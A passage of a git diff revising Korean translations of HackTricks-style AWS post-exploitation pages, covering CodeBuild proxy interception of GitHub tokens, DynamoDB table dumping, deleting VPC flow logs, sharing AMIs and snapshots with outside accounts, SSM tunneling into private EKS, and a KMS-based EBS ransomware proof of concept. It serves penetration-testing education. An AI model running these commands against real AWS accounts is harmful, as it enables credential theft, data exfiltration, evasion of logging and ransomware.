수 있습니다. -- Docker 이미지가 빌드되면 **공개 리포지토리에 업로드**합니다 (Dockerhub, ECR...). +- Docker 이미지를 빌드한 후, **공개 리포지토리에 업로드**합니다 (Dockerhub, ECR...). 2. **환경 설정** - **새 Codebuild 프로젝트를 생성**하거나 기존 프로젝트의 환경을 **수정**합니다. -- 프로젝트를 **이전에 생성된 Docker 이미지**를 사용하도록 설정합니다. +- 프로젝트가 **이전에 생성된 Docker 이미지를 사용하도록** 설정합니다.
-3. **호스트에서 MitM 프록시 설정하기** +3. **호스트에서 MitM 프록시 설정** -- **Github 리포지토리**에 명시된 대로 다음과 같은 것을 사용할 수 있습니다: +- **Github 리포지토리**에 명시된 대로 다음과 같은 방법을 사용할 수 있습니다: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` @@ -80,8 +80,8 @@ aws codebuild start-build --project-name my-project2 ```bash aws codebuild batch-get-projects --name ``` -- 그러면 수집한 정보를 사용하여 프로젝트 설정 **`insecureSsl`**을 **`True`**로 업데이트할 수 있습니다. 다음은 제가 프로젝트를 업데이트한 예시로, 끝에 **`insecureSsl=True`**가 있는 것을 주목하세요 (수집한 구성에서 변경해야 할 유일한 사항입니다). -- 또한, tcp ngrok을 가리키는 env 변수 **http_proxy**와 **https_proxy**도 추가하세요: +- 그러면 수집한 정보를 바탕으로 프로젝트 설정 **`insecureSsl`**을 **`True`**로 업데이트할 수 있습니다. 다음은 제가 프로젝트를 업데이트한 예시로, 끝에 **`insecureSsl=True`**가 있는 것을 주목하세요 (수집한 구성에서 변경해야 할 유일한 사항입니다). +- 또한 **http_proxy**와 **https_proxy** 환경 변수를 추가하여 tcp ngrok을 가리키도록 하세요: ```bash aws codebuild update-project --name \ --source '{ @@ -115,7 +115,7 @@ aws codebuild update-project --name \ ] }' ``` -- 그런 다음, 프록시 변수(http_proxy 및 https_proxy)로 지정된 포트에서 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)의 기본 예제를 실행합니다. +- 그런 다음, 프록시 변수(http_proxy 및 https_proxy)가 가리키는 포트에서 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)의 기본 예제를 실행합니다. ```python from mitm import MITM, protocol, middleware, crypto @@ -128,13 +128,13 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- 마지막으로 **Build the project**를 클릭하면 **자격 증명**이 **명확한 텍스트**(base64)로 mitm 포트에 **전송됩니다**: +- 마지막으로 **Build the project**를 클릭하면 **credentials**가 **명확한 텍스트**(base64)로 mitm 포트로 **전송됩니다**:
### ~~HTTP 프로토콜을 통해~~ -> [!TIP] > **이 취약점은 2023년 2월 20일 주 중에 AWS에 의해 수정되었습니다(금요일인 것 같습니다). 따라서 공격자는 더 이상 이를 악용할 수 없습니다 :)** +> [!TIP] > **이 취약점은 2023년 2월 20일 주 중 어느 시점에 AWS에 의해 수정되었습니다(금요일인 것 같습니다). 따라서 공격자는 더 이상 이를 악용할 수 없습니다 :)** **CodeBuild에서 권한이 상승된 공격자는 구성된 Github/Bitbucket 토큰을 유출할 수 있습니다**. 또는 권한이 OAuth를 통해 구성된 경우, **코드에 접근하는 데 사용되는 임시 OAuth 토큰**을 유출할 수 있습니다. @@ -144,7 +144,7 @@ mitm.run()
-- 그런 다음, github 레포지토리의 URL을 HTTPS 대신 HTTP를 사용하도록 변경합니다. 예: `http://github.com/carlospolop-forks/TestActions` +- 그런 다음, github repo의 URL을 HTTPS 대신 HTTP를 사용하도록 변경합니다. 예: `http://github.com/carlospolop-forks/TestActions` - 그런 다음, 프록시 변수(http_proxy 및 https_proxy)가 가리키는 포트에서 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)의 기본 예제를 실행합니다. ```python from mitm import MITM, protocol, middleware, crypto diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md index 0e2a27406..664cb8799 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md @@ -8,9 +8,9 @@ ../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md {{#endref}} -### 제어 활성화 / 비활성화 +### Enable / Disable Controls -계정을 추가로 악용하기 위해서는 Control Tower 제어를 비활성화/활성화해야 할 수 있습니다: +계정을 추가로 악용하기 위해 Control Tower 제어를 비활성화/활성화해야 할 수 있습니다: ```bash aws controltower disable-control --control-identifier --target-identifier aws controltower enable-control --control-identifier --target-identifier diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md index 71671a81e..47111f06e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md @@ -6,13 +6,13 @@ ### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` -랜섬웨어 공격은 가능한 한 많은 EBS 볼륨을 암호화한 다음 현재 EC2 인스턴스, EBS 볼륨 및 스냅샷을 삭제하여 실행할 수 있습니다. 이러한 악의적인 활동을 자동화하기 위해 Amazon DLM을 사용하여 다른 AWS 계정의 KMS 키로 스냅샷을 암호화하고 암호화된 스냅샷을 다른 계정으로 전송할 수 있습니다. 또는 암호화 없이 스냅샷을 관리하는 계정으로 전송한 다음 그곳에서 암호화할 수 있습니다. 기존 EBS 볼륨이나 스냅샷을 직접 암호화하는 것은 간단하지 않지만, 새로운 볼륨이나 스냅샷을 생성하여 그렇게 할 수 있습니다. +랜섬웨어 공격은 가능한 많은 EBS 볼륨을 암호화한 다음 현재 EC2 인스턴스, EBS 볼륨 및 스냅샷을 삭제함으로써 실행될 수 있습니다. 이러한 악의적인 활동을 자동화하기 위해 Amazon DLM을 사용하여 다른 AWS 계정의 KMS 키로 스냅샷을 암호화하고 암호화된 스냅샷을 다른 계정으로 전송할 수 있습니다. 또는 암호화 없이 스냅샷을 관리하는 계정으로 전송한 다음 그곳에서 암호화할 수 있습니다. 기존 EBS 볼륨이나 스냅샷을 직접 암호화하는 것은 간단하지 않지만, 새로운 볼륨이나 스냅샷을 생성함으로써 가능할 수 있습니다. 먼저, 인스턴스 ID, 볼륨 ID, 암호화 상태, 연결 상태 및 볼륨 유형과 같은 볼륨에 대한 정보를 수집하는 명령을 사용할 것입니다. `aws ec2 describe-volumes` -둘째, 라이프사이클 정책을 생성할 것입니다. 이 명령은 DLM API를 사용하여 지정된 시간에 지정된 볼륨의 일일 스냅샷을 자동으로 생성하는 라이프사이클 정책을 설정합니다. 또한 스냅샷에 특정 태그를 적용하고 볼륨에서 스냅샷으로 태그를 복사합니다. policyDetails.json 파일에는 대상 태그, 일정, 암호화를 위한 선택적 KMS 키의 ARN, 스냅샷 공유를 위한 대상 계정과 같은 라이프사이클 정책의 세부 정보가 포함되어 있으며, 이는 피해자의 CloudTrail 로그에 기록됩니다. +둘째, 라이프사이클 정책을 생성할 것입니다. 이 명령은 DLM API를 사용하여 지정된 시간에 특정 볼륨의 일일 스냅샷을 자동으로 생성하는 라이프사이클 정책을 설정합니다. 또한 스냅샷에 특정 태그를 적용하고 볼륨에서 스냅샷으로 태그를 복사합니다. policyDetails.json 파일에는 대상 태그, 일정, 암호화를 위한 선택적 KMS 키의 ARN, 스냅샷 공유를 위한 대상 계정과 같은 라이프사이클 정책의 세부 사항이 포함되어 있으며, 이는 피해자의 CloudTrail 로그에 기록됩니다. ```bash aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index caefb5d45..913124269 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -1,4 +1,4 @@ -# AWS - DynamoDB Post Exploitation +# AWS - DynamoDB 포스트 익스플로이테이션 {{#include ../../../banners/hacktricks-training.md}} @@ -47,7 +47,7 @@ aws dynamodb batch-get-item \ ### `dynamodb:GetItem` -**이전 권한과 유사하게** 이 권한은 잠재적인 공격자가 검색할 항목의 기본 키를 제공받아 단일 테이블에서 값을 읽을 수 있도록 허용합니다: +**이전 권한과 유사하게** 이 권한은 잠재적인 공격자가 검색할 항목의 기본 키를 제공받아 단 1개의 테이블에서 값을 읽을 수 있도록 허용합니다: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -79,7 +79,7 @@ aws dynamodb transact-get-items \ ### `dynamodb:Query` -**이전 권한과 유사하게** 이 권한은 잠재적인 공격자가 검색할 항목의 기본 키를 제공받아 단 1개의 테이블에서 값을 읽을 수 있도록 허용합니다. [비교의 하위 집합](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)을 사용할 수 있지만, 기본 키와 함께 허용되는 유일한 비교는 "EQ"이므로 요청에서 전체 DB를 가져오기 위해 비교를 사용할 수 없습니다. +**이전 권한과 유사하게** 이 권한은 잠재적인 공격자가 검색할 항목의 기본 키를 주어진 경우 단 1개의 테이블에서 값을 읽을 수 있도록 허용합니다. [비교의 하위 집합](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)을 사용할 수 있지만, 기본 키와 함께 허용되는 유일한 비교는 "EQ"이므로 요청에서 전체 DB를 가져오기 위한 비교를 사용할 수 없습니다. {{#tabs }} {{#tab name="json file" }} @@ -107,15 +107,15 @@ aws dynamodb query \ {{#endtab }} {{#endtabs }} -**Potential Impact:** 테이블에서 민감한 정보를 찾아 간접적인 권한 상승 +**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 권한 상승 ### `dynamodb:Scan` -이 권한을 사용하여 **테이블 전체를 쉽게 덤프할 수 있습니다**. +이 권한을 사용하여 **테이블 전체를 쉽게 덤프할 수 있습니다.** ```bash aws dynamodb scan --table-name #Get data inside the table ``` -**잠재적 영향:** 테이블에서 민감한 정보를 찾음으로써 간접적인 권한 상승 +**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 권한 상승 ### `dynamodb:PartiQLSelect` @@ -124,7 +124,7 @@ aws dynamodb scan --table-name #Get data inside the table aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` -이 권한은 다음과 같이 `batch-execute-statement`를 수행할 수 있도록 허용합니다: +이 권한은 `batch-execute-statement`를 수행할 수 있도록 허용합니다: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' @@ -144,13 +144,12 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with: -이 기능이 작동하려면 테이블에 시점 복구가 활성화되어 있어야 합니다. 테이블에 활성화되어 있는지 확인하려면 다음을 사용하세요: +이 기능이 작동하려면 테이블에 point-in-time-recovery가 활성화되어 있어야 합니다. 테이블에 활성화되어 있는지 확인하려면 다음을 사용하세요: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` -만약 활성화되어 있지 않다면, **활성화해야** 하며, 이를 위해서는 **`dynamodb:ExportTableToPointInTime`** 권한이 필요합니다: +활성화되어 있지 않다면, **활성화해야** 하며, 이를 위해 **`dynamodb:ExportTableToPointInTime`** 권한이 필요합니다: ```bash aws dynamodb update-continuous-backups \ --table-name \ @@ -171,7 +170,7 @@ aws dynamodb restore-table-from-backup \ ### `dynamodb:PutItem` -이 권한은 사용자가 **테이블에 새 항목을 추가하거나 기존 항목을 새 항목으로 교체**할 수 있도록 허용합니다. 동일한 기본 키를 가진 항목이 이미 존재하는 경우, **전체 항목이** 새 항목으로 **교체됩니다**. 기본 키가 존재하지 않으면, 지정된 기본 키를 가진 새 항목이 **생성됩니다**. +이 권한은 사용자가 **테이블에 새 항목을 추가하거나 기존 항목을 새 항목으로 교체**할 수 있도록 허용합니다. 동일한 기본 키를 가진 항목이 이미 존재하는 경우, **전체 항목이** 새 항목으로 교체됩니다. 기본 키가 존재하지 않으면, 지정된 기본 키를 가진 새 항목이 **생성**됩니다. {{#tabs }} {{#tab name="XSS Example" }} @@ -203,11 +202,11 @@ aws dynamodb put-item \ {{#endtab }} {{#endtabs }} -**잠재적 영향:** DynamoDB 테이블에서 데이터를 추가/수정할 수 있어 추가적인 취약점/우회 공격을 악용할 수 있음 +**잠재적 영향:** DynamoDB 테이블에서 데이터를 추가/수정할 수 있어 추가적인 취약점/우회 공격이 발생할 수 있음 ### `dynamodb:UpdateItem` -이 권한은 사용자가 **항목의 기존 속성을 수정하거나 항목에 새로운 속성을 추가할 수 있도록** 허용합니다. 전체 항목을 **대체하지** 않으며, 지정된 속성만 업데이트합니다. 기본 키가 테이블에 존재하지 않으면, 이 작업은 **지정된 기본 키로 새로운 항목을 생성**하고 업데이트 표현식에 지정된 속성을 설정합니다. +이 권한은 사용자가 **항목의 기존 속성을 수정하거나 항목에 새로운 속성을 추가할 수 있도록** 허용합니다. 전체 항목을 **대체하지** 않으며, 지정된 속성만 업데이트합니다. 기본 키가 테이블에 존재하지 않으면, 이 작업은 지정된 기본 키로 **새 항목을 생성**하고 업데이트 표현식에 지정된 속성을 설정합니다. {{#tabs }} {{#tab name="XSS Example" }} @@ -243,7 +242,7 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**잠재적 영향:** DynamoDB 테이블에서 데이터를 추가/수정할 수 있어 추가적인 취약점/우회 공격을 악용할 수 있음 +**잠재적 영향:** DynamoDB 테이블에 데이터를 추가/수정할 수 있어 추가적인 취약점/우회 공격을 악용할 수 있습니다. ### `dynamodb:DeleteTable` @@ -270,7 +269,7 @@ aws dynamodb delete-backup \ > [!NOTE] > TODO: 이게 실제로 작동하는지 테스트 -이 권한을 가진 공격자는 **DynamoDB 테이블에서 스트림을 활성화하고, 테이블을 업데이트하여 변경 사항을 스트리밍하기 시작한 다음, 스트림에 접근하여 테이블의 변경 사항을 실시간으로 모니터링할 수 있습니다**. 이를 통해 공격자는 데이터 변경 사항을 모니터링하고 유출할 수 있으며, 이는 데이터 유출로 이어질 수 있습니다. +이 권한을 가진 공격자는 **DynamoDB 테이블에서 스트림을 활성화하고, 테이블을 업데이트하여 변경 사항을 스트리밍하기 시작한 다음, 스트림에 접근하여 테이블의 변경 사항을 실시간으로 모니터링**할 수 있습니다. 이를 통해 공격자는 데이터 변경 사항을 모니터링하고 유출할 수 있으며, 이는 데이터 유출로 이어질 수 있습니다. 1. DynamoDB 테이블에서 스트림 활성화: ```bash @@ -299,6 +298,6 @@ bashCopy codeaws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**잠재적 영향**: DynamoDB 테이블 변경 사항의 실시간 모니터링 및 데이터 유출. +**잠재적 영향**: DynamoDB 테이블 변경 사항의 실시간 모니터링 및 데이터 유출. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 1a3c324fe..b45e55d95 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -1,4 +1,4 @@ -# AWS - EC2, EBS, SSM & VPC Post Exploitation +# AWS - EC2, EBS, SSM & VPC 포스트 익스플로이테이션 {{#include ../../../../banners/hacktricks-training.md}} @@ -12,7 +12,7 @@ ### **악의적인 VPC 미러 -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC 트래픽 미러링은 **VPC 내의 EC2 인스턴스에 대한 수신 및 발신 트래픽을 복제**하며, 인스턴스 자체에 아무것도 설치할 필요가 없습니다. 이 복제된 트래픽은 일반적으로 분석 및 모니터링을 위해 네트워크 침입 탐지 시스템(IDS)과 같은 곳으로 전송됩니다.\ +VPC 트래픽 미러링은 **VPC 내의 EC2 인스턴스에 대한 인바운드 및 아웃바운드 트래픽을 복제**하며, 인스턴스 자체에 아무것도 설치할 필요가 없습니다. 이 복제된 트래픽은 일반적으로 분석 및 모니터링을 위해 네트워크 침입 탐지 시스템(IDS)과 같은 곳으로 전송됩니다.\ 공격자는 이를 악용하여 모든 트래픽을 캡처하고 민감한 정보를 얻을 수 있습니다: 자세한 정보는 이 페이지를 확인하세요: @@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md ### 실행 중인 인스턴스 복사 -인스턴스는 일반적으로 어떤 형태의 민감한 정보를 포함하고 있습니다. 내부에 접근하는 방법은 여러 가지가 있습니다( [EC2 권한 상승 기법](../../aws-privilege-escalation/aws-ec2-privesc.md) 확인). 그러나 그것이 무엇을 포함하고 있는지 확인하는 또 다른 방법은 **AMI를 생성하고 이를 기반으로 새 인스턴스를 실행하는 것입니다(자신의 계정에서도 가능)**: +인스턴스는 일반적으로 어떤 형태의 민감한 정보를 포함하고 있습니다. 내부에 접근하는 방법은 여러 가지가 있습니다( [EC2 권한 상승 트릭](../../aws-privilege-escalation/aws-ec2-privesc.md) 확인). 그러나 그것이 무엇을 포함하고 있는지 확인하는 또 다른 방법은 **AMI를 생성하고 이를 기반으로 새 인스턴스를 실행하는 것입니다(자신의 계정에서도 가능)**: ```shell # List instances aws ec2 describe-images @@ -49,7 +49,7 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS 스냅샷 덤프 -**스냅샷은 볼륨의 백업**으로, 일반적으로 **민감한 정보**를 포함하고 있으므로 이를 확인하면 이 정보가 드러날 수 있습니다.\ +**스냅샷은 볼륨의 백업**으로, 일반적으로 **민감한 정보**를 포함하고 있으므로 이를 확인하면 이 정보를 공개할 수 있습니다.\ **스냅샷이 없는 볼륨**을 발견하면 다음과 같은 작업을 수행할 수 있습니다: **스냅샷 생성** 및 다음 작업 수행 또는 **계정 내 인스턴스에 마운트**하기: {{#ref}} @@ -60,7 +60,7 @@ aws-ebs-snapshot-dump.md #### DNS 유출 -EC2의 트래픽을 차단하더라도 여전히 **DNS를 통해 유출**될 수 있습니다. +EC2의 트래픽이 외부로 나가지 않도록 잠가도 여전히 **DNS를 통해 유출**될 수 있습니다. - **VPC 흐름 로그는 이를 기록하지 않습니다**. - AWS DNS 로그에 접근할 수 없습니다. @@ -70,7 +70,7 @@ EC2의 트래픽을 차단하더라도 여전히 **DNS를 통해 유출**될 수 #### API 호출을 통한 유출 -공격자는 자신이 제어하는 계정의 API 엔드포인트를 호출할 수 있습니다. Cloudtrail은 이 호출을 기록하며, 공격자는 Cloudtrail 로그에서 유출된 데이터를 확인할 수 있습니다. +공격자는 자신이 제어하는 계정의 API 엔드포인트를 호출할 수 있습니다. Cloudtrail은 이러한 호출을 기록하며, 공격자는 Cloudtrail 로그에서 유출된 데이터를 확인할 수 있습니다. ### 열린 보안 그룹 @@ -83,9 +83,9 @@ aws ec2 authorize-security-group-ingress --group-id --protocol tcp --por EC2 인스턴스를 실행하고 이를 ECS 인스턴스를 실행하는 데 사용하도록 등록한 다음 ECS 인스턴스의 데이터를 훔치는 것이 가능합니다. -[**자세한 내용은 여기에서 확인하세요**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). +For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). -### VPC 흐름 로그 제거 +### Remove VPC flow logs ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` @@ -95,7 +95,7 @@ aws ec2 delete-flow-logs --flow-log-ids --region - `ssm:StartSession` -명령 실행 외에도 SSM은 트래픽 터널링을 허용하며, 이는 보안 그룹 또는 NACL로 인해 네트워크 접근이 없는 EC2 인스턴스에서 피벗하는 데 악용될 수 있습니다. 이 기능이 유용한 시나리오 중 하나는 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)에서 개인 EKS 클러스터로 피벗하는 것입니다. +명령 실행 외에도 SSM은 트래픽 터널링을 허용하며, 이는 보안 그룹이나 NACL로 인해 네트워크 접근이 없는 EC2 인스턴스에서 피벗하는 데 악용될 수 있습니다. 이 기능이 유용한 시나리오 중 하나는 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)에서 개인 EKS 클러스터로 피벗하는 것입니다. > 세션을 시작하려면 SessionManagerPlugin이 설치되어 있어야 합니다: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html @@ -105,7 +105,7 @@ aws ec2 delete-flow-logs --flow-log-ids --region aws ssm start-session --target "$INSTANCE_ID" ``` 3. [AWS EC2 환경에서 SSRF 악용하기](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) 스크립트를 사용하여 Bastion EC2 AWS 임시 자격 증명을 가져옵니다. -4. 자격 증명을 `$HOME/.aws/credentials` 파일의 `[bastion-ec2]` 프로필로 자신의 머신으로 전송합니다. +4. 자격 증명을 `$HOME/.aws/credentials` 파일에 `[bastion-ec2]` 프로필로 자신의 머신으로 전송합니다. 5. Bastion EC2로 EKS에 로그인합니다: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name @@ -115,7 +115,7 @@ aws eks update-kubeconfig --profile bastion-ec2 --region -- ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. 이제 `kubectl` 도구의 트래픽이 Bastion EC2를 통해 SSM 터널로 전달되며, 다음 명령어를 실행하여 자신의 머신에서 개인 EKS 클러스터에 접근할 수 있습니다: +8. `kubectl` 도구의 트래픽이 이제 Bastion EC2를 통해 SSM 터널을 통해 전달되며, 다음 명령어를 실행하여 자신의 머신에서 개인 EKS 클러스터에 접근할 수 있습니다: ```shell kubectl get pods --insecure-skip-tls-verify ``` @@ -135,7 +135,7 @@ aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{ ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` -### EBS Ransomware PoC +### EBS 랜섬웨어 PoC S3 포스트 익스플로이테이션 노트에서 시연된 랜섬웨어 데모와 유사한 개념 증명. KMS는 다양한 AWS 서비스를 암호화하는 데 사용하는 것이 얼마나 쉬운지를 고려하여 랜섬웨어 관리 서비스(RMS)로 이름을 변경해야 합니다. @@ -239,11 +239,11 @@ S3 포스트 익스플로이테이션 노트에서 시연된 랜섬웨어 데모 - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -이제 사용할 수 있는 공개적으로 접근 가능한 키가 있습니다. 우리는 암호화되지 않은 EBS 볼륨이 연결된 EC2 인스턴스가 몇 개 있는 '희생자' 계정을 사용할 수 있습니다. 이 '희생자' 계정의 EBS 볼륨이 암호화를 목표로 하고 있으며, 이 공격은 고급 권한 AWS 계정의 침해를 가정하고 있습니다. +이제 공개적으로 접근 가능한 키를 사용할 수 있습니다. 우리는 암호화되지 않은 EBS 볼륨이 연결된 EC2 인스턴스가 있는 '희생자' 계정을 사용할 수 있습니다. 이 '희생자' 계정의 EBS 볼륨이 암호화를 목표로 하고 있으며, 이 공격은 고급 권한 AWS 계정의 침해를 가정하고 있습니다. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -S3 랜섬웨어 예제와 유사하게, 이 공격은 스냅샷을 사용하여 연결된 EBS 볼륨의 복사본을 생성하고, '공격자' 계정의 공개적으로 사용 가능한 키를 사용하여 새로운 EBS 볼륨을 암호화한 다음, 원래 EBS 볼륨을 EC2 인스턴스에서 분리하고 삭제하며, 마지막으로 새로 암호화된 EBS 볼륨을 생성하는 데 사용된 스냅샷을 삭제합니다. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +S3 랜섬웨어 예제와 유사하게, 이 공격은 연결된 EBS 볼륨의 복사본을 스냅샷을 사용하여 생성하고, '공격자' 계정의 공개적으로 사용 가능한 키를 사용하여 새로운 EBS 볼륨을 암호화한 다음, 원래 EBS 볼륨을 EC2 인스턴스에서 분리하고 삭제하며, 마지막으로 새로 암호화된 EBS 볼륨을 생성하는 데 사용된 스냅샷을 삭제합니다. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) 이로 인해 계정에 남아 있는 것은 암호화된 EBS 볼륨뿐입니다. @@ -253,7 +253,7 @@ S3 랜섬웨어 예제와 유사하게, 이 공격은 스냅샷을 사용하여 ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -다음으로, '공격자' 계정의 키 정책으로 돌아가 '외부 암호화' 정책 규칙을 키 정책에서 제거합니다. +다음으로, '공격자' 계정의 키 정책으로 돌아가 'Outside Encryption' 정책 규칙을 키 정책에서 제거합니다. ```json { "Version": "2012-10-17", @@ -328,7 +328,7 @@ S3 랜섬웨어 예제와 유사하게, 이 공격은 스냅샷을 사용하여 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -하지만 암호화된 EBS 볼륨으로 EC2 인스턴스를 실제로 다시 시작하려고 하면 실패하고 '대기 중' 상태에서 '중지됨' 상태로 영원히 돌아갑니다. 이는 연결된 EBS 볼륨이 키 정책이 더 이상 허용하지 않기 때문에 키를 사용하여 복호화할 수 없기 때문입니다. +하지만 암호화된 EBS 볼륨으로 EC2 인스턴스를 실제로 다시 시작하려고 하면 실패하고 '대기 중' 상태에서 '중지됨' 상태로 영원히 돌아갑니다. 연결된 EBS 볼륨은 키 정책이 더 이상 허용하지 않기 때문에 키를 사용하여 복호화할 수 없습니다. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md index c9136da84..26442ee21 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -32,7 +32,7 @@ make docker/build IMAGE=".img" make docker/run #With the snapshot downloaded ``` > [!CAUTION] -> **주의** `dsnap`는 공개 스냅샷을 다운로드할 수 없습니다. 이를 우회하려면 스냅샷을 개인 계정에 복사한 후 해당 스냅샷을 다운로드할 수 있습니다: +> **주의** `dsnap`은 공개 스냅샷을 다운로드할 수 없습니다. 이를 우회하기 위해, 스냅샷을 개인 계정에 복사한 후 해당 스냅샷을 다운로드할 수 있습니다: ```bash # Copy the snapshot aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57" @@ -46,9 +46,9 @@ dsnap --region us-east-2 get snap-027da41be451109da # Delete the snapshot after downloading aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2 ``` -이 기술에 대한 자세한 정보는 [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)의 원본 연구를 확인하세요. +이 기술에 대한 자세한 내용은 [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)에서 원본 연구를 확인하세요. -Pacu를 사용하여 [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) 모듈로 이 작업을 수행할 수 있습니다. +Pacu를 사용하여 [ebs__download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) 모듈로 이 작업을 수행할 수 있습니다. ## AWS에서 스냅샷 확인하기 ```bash @@ -77,7 +77,7 @@ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snaps 위 명령의 출력이 "/dev/xvdf: data"를 표시하면 볼륨이 